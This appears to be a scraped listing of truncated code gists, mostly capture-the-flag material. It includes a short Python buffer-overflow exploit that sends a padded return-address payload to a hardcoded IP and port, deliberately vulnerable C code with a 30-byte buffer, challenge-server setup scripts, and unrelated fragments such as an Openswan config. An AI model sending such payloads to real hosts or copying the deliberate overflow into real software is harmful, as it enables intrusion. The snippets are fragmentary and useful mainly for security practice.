This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
host , port = "212.237.56.32",33333 #Define HOST,PORT that you want to connect | |
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Defind Socket | |
payload = "a"*42 + "\x61\x85\x04\x08" #Payload to exploit | |
s.connect((host,port)) #Connect to the server | |
print s.recv(1024) #Receive server response: "Enter the text: " | |
s.send(payload + "\n") #Send our payload , \n to enter |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import requests | |
username , password = "komang123","123456" | |
s = requests.session() | |
r = s.get("http://chatting.com/login.php") | |
token = r.text.split("name=\"token\" value=\"")[1].split("\"")[0] | |
data = {"username": username , "password": password, "token": token , "submit": ""} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
void secretFunction(); | |
void echo() | |
{ | |
char buffer[30]; | |
printf("Enter some text: "); | |
fflush(stdout); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
void secretFunction(); | |
void echo() | |
{ | |
char buffer[30]; | |
printf("Enter some text: "); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
apt-get install xinetd | |
user=bofme | |
binary=bofme | |
port=33333 | |
useradd $user | |
mkdir /home/$user |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /etc/ipsec.conf - Openswan IPsec configuration file | |
# This file: /usr/local/share/doc/openswan/ipsec.conf-sample | |
# | |
# Manual: ipsec.conf.5 | |
version 2.0 # conforms to second version of ipsec.conf specification | |
# basic configuration |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import socket | |
import threading | |
import time | |
import SocketServer | |
from base64 import * | |
host, port = 'localhost', 33338 | |
buffer = 4096 | |
flag = "zStep1k_st3p1k!!" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def format(money): | |
return float("{0:8f}".format(money)) | |
class Account: | |
def __init__(self,name,money): | |
self.name = name | |
self.money = format(money) | |
#Init Object | |
A = Account("Hà Văn Xor",1.0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import socket | |
import threading | |
import time | |
import SocketServer | |
host, port = 'localhost', 33338 | |
buffer = 4096 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <iostream> | |
#include <fstream> | |
#include <stdio.h> | |
#include <string> | |
using namespace std; | |
int C() | |
{ |